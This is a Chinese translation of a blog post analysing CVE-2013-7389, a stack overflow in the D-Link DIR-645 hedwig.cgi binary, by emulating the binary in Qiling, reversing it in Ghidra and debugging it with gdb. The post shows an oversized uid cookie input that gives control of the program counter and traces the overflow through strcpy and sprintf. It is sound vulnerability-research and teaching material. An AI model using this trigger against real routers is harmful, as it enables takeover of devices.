原文链接:https://github.com/nahueldsanchez/blogpost_qiling_dlink_1
在过去的几周中,我一直在玩一个非常有趣的项目:Qiling框架。我认为最好的学习方法就是边实践边学,因此我想使用该框架进行一些实践。
我的目标是了解,复现和利用Roberto Palear
在2013年报告的漏洞(CVE-2013-7389)
。现在,使用Qiling
和一些免费工具,对该存在7年且影响多个Dlink
路由器的漏洞进行分析。您可以在此处找到公告。
我将重点关注“hedwig.cgi”
上存在的缓冲区溢出。对于熟悉MIPS
和漏洞分析的人来说,这是非常基础的,但是由于我对MIPS
几乎一无所知,所以这很有趣,并且可以学到很多东西。希望你们也会喜欢它。
第一步是在确定要完成的工作:
Ghidra
进行补丁分析,清楚固件中的补丁Qiling
上运行二进制文件时为其编写exp
(可与硬件或Qemu
一起使用)Free RE
工具所以,我们从第一步开始。
利用提供的有关受影响固件版本的信息,我在Google上搜索下载存在漏洞的固件。
下载后,使用binwalk
解固件。
解固件后,将位于sbin
目录中的二进制文件httpd
加载到Ghidra
中,并没有任何Bug
的相关信息。
注:我的艰难过程得出的结论是:该错误位于接受HTTP连接的二进制文件中,让我们来看一下。
我再次阅读了该公告,并寻找\*hedwig\*cgi
的二进制程序
$ find . -name *hedwig*cgi
./htdocs/web/hedwig.cgi
$ ls -larth ./htdocs/web/hedwig.cgi
lrwxrwxrwx ./htdocs/web/hedwig.cgi -> /htdocs/cgibin
如你所看到的,hedwig.cgi
符号链接到二进制程序cgibin
,我们来分析它!
我将二进制文件加载到Ghidra
中,并查找了hedwig.cgi
字符串:
我搜索了使用过该字符串的位置,并且跟进去
看一下反编译后的代码:
如您所见,二进制文件采用一个字符串并将其与我们感兴趣的字符串进行比较,如果相同,则将调用hedwigcgi_main
函数。我认为在调用cgibin
二进制文件时将字符串作为参数使用,但是字符串是从二进制文件本身的名称中获取的-因此对hedwig.cgi
进行符号链接。为了解决这个问题,在htdocs
目录中创建了相同的符号链接:
squashfs-root/htdocs$ ls -larth hedwig.cgi
hedwig.cgi -> cgibin
一开始我只是使用Qiling
的hook
地址功能快速修复了此问题,将程序流从第一条指令重定向到我感兴趣的函数。
MAIN_ADDR = 0x0402770 HEDWIGCGI_MAIN = 0x0040bfc0 def redirect_to_hedwigcgi_main(ql): ql.reg.arch_pc = HEDWIGCGI_MAIN return ... ql = Qiling(path, rootfs, output = "debug", env=required_env) ql.hook_address(redirect_to_hedwigcgi_main, MAIN_ADDR) ...
一旦确定了存在漏洞的函数,便会使用研究人员提供的PoC
和metasploit
中可用的exp
。它们都以(或多或少)相同的方式去触发漏洞,即进行HTTP
请求:
...
POST /hedwig.cgi
cookie: uid=(PAYLOAD)
...
我快速搜索了“uid”
字符串,我猜测在解析该字符串时会出现问题:
我检查了它的引用位置:
第一个和第二个引用位与sess_get_uid
函数的内部,最后两个位于一个没有符号的函数中。我决定跟进去sess_get_uid
函数,并检查该函数是否被hedwigcgi_main
所调用。
另一个有意思的是我们可以使用Qiling
模拟二进制文件函数的功能:
import sys sys.path.append("..") from qiling import * MAIN = 0x0402770 HEDWIGCGI_MAIN_ADDR = 0x0040bfc0 SESS_GET_UID = 0x004083f0 def my_sandbox(path, rootfs): ql = Qiling(path, rootfs, output = "none") ql.add_fs_mapper('/tmp', '/var/tmp') # Maps hosts /tmp to /var/tmp ql.hook_address(lambda ql: ql.nprint("** At [main] **"), MAIN) ql.hook_address(lambda ql: ql.nprint("** At [hedwigcgi_main] **"), HEDWIGCGI_MAIN_ADDR) ql.hook_address(lambda ql: ql.nprint("** At [sess_get_uid] **"), SESS_GET_UID) ql.run() if __name__ == "__main__": my_sandbox(["_DIR645A1_FW103RUB08.bin.extracted/squashfs-root/htdocs/hedwig.cgi"], "_DIR645A1_FW103RUB08.bin.extracted/squashfs-root")
输出为:
...
mprotect(0x77569000, 0x1000, 0x1) = 0
mprotect(0x47ce000, 0x1000, 0x1) = 0
ioctl(0x0, 0x540d, 0x7ff3ca30) = -1
ioctl(0x1, 0x540d, 0x7ff3ca30) = -1
** At [main] **
** At [hedwingcgi_main] **
write(1,7756d038,112) = 0
HTTP/1.1 200 OK
Content-Type: text/xml
...
我们可以看到执行到_main_
,_hedwigcgi_main_
但尚未到_session_get_uid_
。看一下代码,找到进入此函数的条件。
... http_request_method = getenv("REQUEST_METHOD"); if (http_request_method == (char *)0x0) { http_request_method = "no REQUEST"; } else { is_http_POST = strcasecmp(http_request_method, "POST"); if (is_http_POST != 0) { http_request_method = "unsupported HTTP request"; goto invalid_http_method; } ...
来看下Ghidra
生成的反编译代码,我们可以看到hedwigcgi_main
函数会检查并在环境变量中寻找REQUEST_METHOD
。如果该变量不包含POST
值,将不会进入到该函数。
注意:假设在实际的硬件中,由于某种原因,这些环境变量已经被填充,因此不必检查谁在执行此操作。
使用Qiling
可以轻松设置环境变量:
... required_env = { "REQUEST_METHOD": "POST", } ql = Qiling(path, rootfs, output = "none", env=required_env) ...
我们只需要传递一个字典,其中的键名是变量的名称和键值即为其值。
让我们尝试再次运行二进制文件,这次是在我们的伪环境中进行:
...
mprotect(0x77569000, 0x1000, 0x1) = 0
mprotect(0x47ce000, 0x1000, 0x1) = 0
ioctl(0x0, 0x540d, 0x7ff3ca08) = -1
ioctl(0x1, 0x540d, 0x7ff3ca08) = -1
** At [main] **
** At [hedwingcgi_main] **
brk(0x0)
brk(0x438000)
open(/etc/config/image_sign, 0x0, 0o0) = 3
ioctl(0x3, 0x540d, 0x7ff3c818) = -1
brk(0x439000)
read(3, 0x437098, 0x1000) = 27
close(3) = 0
** At [sess_get_uid] **
socket(1, 1, 0) = 3
fcntl(3, 2) = 0
...
现在我们执行到了我们所感兴趣的点。看了一下函数之后,该函数应该检查了HTTP COOKIE header
。
cookie_value = getenv("HTTP_COOKIE");
然后会搜索“ uid”
字符串;一旦找到,就会处理它的值。我猜测这个函数会处理包含在cookie header
中多个值,如下所示:
Cookie: Avalue=123;OtherVal=AAA;uid=TEST
看一下exp
,我们可以看到发送包含uid=(enough_data)
的Cookie header
的HTTP
请求就可以触发漏洞.
我们设置HTTP_COOKIE环境变量来触发该漏洞:
... buffer = "uid=%s" % (b"A" * 1041 + b"1111") required_env = { "REQUEST_METHOD": "POST", "HTTP_COOKIE" : buffer } ...
这是脚本运行后的输出。为了清楚起见,省略了部分内容:
...
** At [main] **
** At [hedwingcgi_main] **
** At [sess_get_uid] **
[!] Emulation Error
[-] s0 : 0x41414141
[-] s1 : 0x41414141
[-] s2 : 0x41414141
[-] s3 : 0x41414141
[-] s4 : 0x41414141
[-] s5 : 0x41414141
[-] s6 : 0x41414141
[-] s7 : 0x41414141
[-] t8 : 0x8
[-] t9 : 0x0
[-] k0 : 0x0
[-] k1 : 0x0
[-] gp : 0x43b6d0
[-] sp : 0x7ff3c608
[-] s8 : 0x41414141
[-] ra : 0x41414141
[-] status : 0x0
[-] lo : 0x0
[-] hi : 0x0
[-] badvaddr : 0x0
[-] cause : 0x0
[-] pc : 0x41414140
[-] cp0_config3 : 0x0
[-] cp0_userlocal : 0x0
[+] PC = 0x41414140
[+] Start End Perm. Path
unicorn.unicorn.UcError: Invalid memory read (UC_ERR_READ_UNMAPPED)
可以看到,我们触发了该漏洞!该函数正在解析我们的输入,并以某种方式进行了错误的处理,最终将其复制到错误的位置,并覆盖了之前寄存器的值。检查一下。现在我们已经很清楚了Bug
的位置,需要找到确切的位置。为此,我尝试了不同方法:
只需要执行以下操作便可调试:
... ql.debugger = True ...
$ python emulate_hedwigcgi.py
debugger> Initializing load_address 0x0
debugger> Listening on 127.0.0.1:9999
我们需要安装gdb-multiarch
,执行:
sudo apt-get install gdb-multiarch
并Attach
到Qiling
:
$ gdb-multiarch
(gdb) set remotetimeout 100
(gdb) target remote 127.0.0.1:9999
Remote debugging using 127.0.0.1:9999
warning: while parsing target description: no element found
warning: Could not load XML target description; ignoring
warning: while parsing target description: no element found
warning: Could not load XML target description; ignoring
Reading /lib/ld-uClibc.so.0 from remote target...
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x004025c0 in _ftext ()
Qiling
可以很容易的在触发异常之前打印出每条指令,我们可以定义一个打印所有已执行的指令的回调函数。并将此回调hook
到sess_get_uid
的开始。
... # From https://github.com/qilingframework/qiling/blob/master/examples/hello_x8664_linux_disasm.py def print_asm(ql, address, size): buf = ql.mem.read(address, size) for i in md.disasm(buf, address): print(":: 0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str)) #### ... def hook_sess_get_uid(ql): ql.hook_code(print_asm) ql.hook_address(hook_sess_get_uid, SESS_GET_UID)
当有大量的代码执行时,该功能将不起作用,并且不能帮助找到越界写入发生的准确位置。同样可能产生如内存损坏发生在位置X
,寄存器在位置Y
被覆盖这样的情况(执行ret
指令时)。
然后我提出了第二个想法:我决定检查潜在的不安全函数诸如strcpy
的用法。同样我们可以Qiling hook
函数:
... # Once strcpy is called we'll print the arguments and pass them to the real strcpy def strcpy_hook(ql): print("dst: %s" % hex(ql.os.function_arg[0])) print("src: %s" % ql.mem.string(ql.os.function_arg[1])) #Not sure why I have to return 2 to continue with the call #to the strcpy function. This was taken from example: #hello_mips32el_linux_function_hook.py return 2 ql.set_api('strcpy', strcpy_hook, QL_INTERCEPT.ENTER) ...
检查结果
** At [sess_get_uid] **
dst: 0x437898
src: b'AAAAAAAAAAAAAAAAAA...AAA'
...
[+] PC = 0x41414140
OK,现在我们知道缓冲区的写入位置(0x437898
),并且调用了strcpy
。
当我第一次发现这个我很高兴,我认为strcpy
是造成崩溃的根本原因。但是,如果检查目标地址(0x437898),该地址为堆内地址。
...
[+] 00437000 - 00438000 - rwx [brk]
...
同样,如果我们看一下strcpy在哪里进行了复制数据的操作,就会发现在sess_get_uid
函数一开始就会调用sobj_new
函数。这将返回一个指向用malloc
(堆)分配的内存的指针。
因此,我的疑问点:如果strcpy
的目的地址是0x437898
(即堆),并且是由于PC
指向无效的地址而导致的程序崩溃,这是怎么回事?不知何故,传入的超长字符串必须最终覆盖堆栈中的某些内容,但显然在strcpy
之后并没有发生这种情况,我不得不调试好几个小时来完全了解发生了什么。
答案是在地址0x0040c1c0
处调用了sprintf
函数。该函数接收三个字符串作为参数,如下面的代码片段所示:
0040c1b4 21 38 40 00 move a3,v0
0040c1b8 21 30 40 02 move a2=>s_/runtime/session_00420140,s2 = "/runtime/session"
0040c1bc 2c 08 a5 24 addiu a1=>s_%s/%s/postxml_0042082c,a1,0x82c = "%s/%s/postxml"
$a3
寄存器指向缓冲区:
gef➤ x/s $a3
0x437898: "b'", 'A' <repeats 2000 times>, "'"
sprintf
将使用指定的格式和缓冲区来格式化作为参数传递的字符串,更重要的是目的地是栈中的局部变量
gef➤ x/s $s1
0x7ff3c1e0: "/runtime/session/b'", 'A' <repeats 2000 times>, "'/postxml"
至此,疑惑已经解开。总结:
COOKIE header
的HTTP POST
请求header
必须包含uid =(BUFFER)
字符串strcpy
将复制(BUFFER)
到堆中而不检查大小sprintf
会将我们的输入uid =(BUFFER)
作为某些字符串格式的一部分,将结果存储在栈中的变量中。如果(BUFFER)
足够大,它将最终覆盖先前保存的寄存器,包括返回地址。为了检查最后一点,我在hedwigcgi_main
函数的返回指令中下了一个断点:
Breakpoint 1, 0x0040c594 in hedwigcgi_main ()
...
$s0 : 0x41414141 ("AAAA"?)
$s1 : 0x41414141 ("AAAA"?)
$s2 : 0x41414141 ("AAAA"?)
$s3 : 0x41414141 ("AAAA"?)
$s4 : 0x41414141 ("AAAA"?)
$s5 : 0x41414141 ("AAAA"?)
$s6 : 0x41414141 ("AAAA"?)
$s7 : 0x41414141 ("AAAA"?)
$t8 : 0x8
$t9 : 0x0
$k0 : 0x0
$k1 : 0x0
$s8 : 0x41414141 ("AAAA"?)
$pc : 0x0040c594
$sp : 0x7ff3c120
$hi : 0x0
$lo : 0x0
$fir : 0x0
$ra : 0x41414141 ("AAAA"?)
...
→ 0x40c594 <hedwigcgi_main+1492> jr ra
显然,sprintf
复制了(BUFFER)
并覆盖了先前保存的寄存器的值,这样就很容易稳定的代码执行。
最后!我们解决了这个问题。我花了很大的精力将各个部分放在一起,并充分了解了strcpy
是如何导致崩溃的。我上传了在博文中一直使用的Python
脚本作为参考。你可以在这里找到它.。在本系列的下一部分中,我将继续研究如何编写可在Qiling
中使用的漏洞利用程序。
https://web.archive.org/web/20140418120534/http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008
https://people.cs.pitt.edu/~xujie/cs447/Mips/sub.html
https://conference.hitb.org/hitblockdown002/materials/D1%20VIRTUAL%20LAB%20-%20Qiling%20Framework%20-%20Kaijern%20Lau.pdf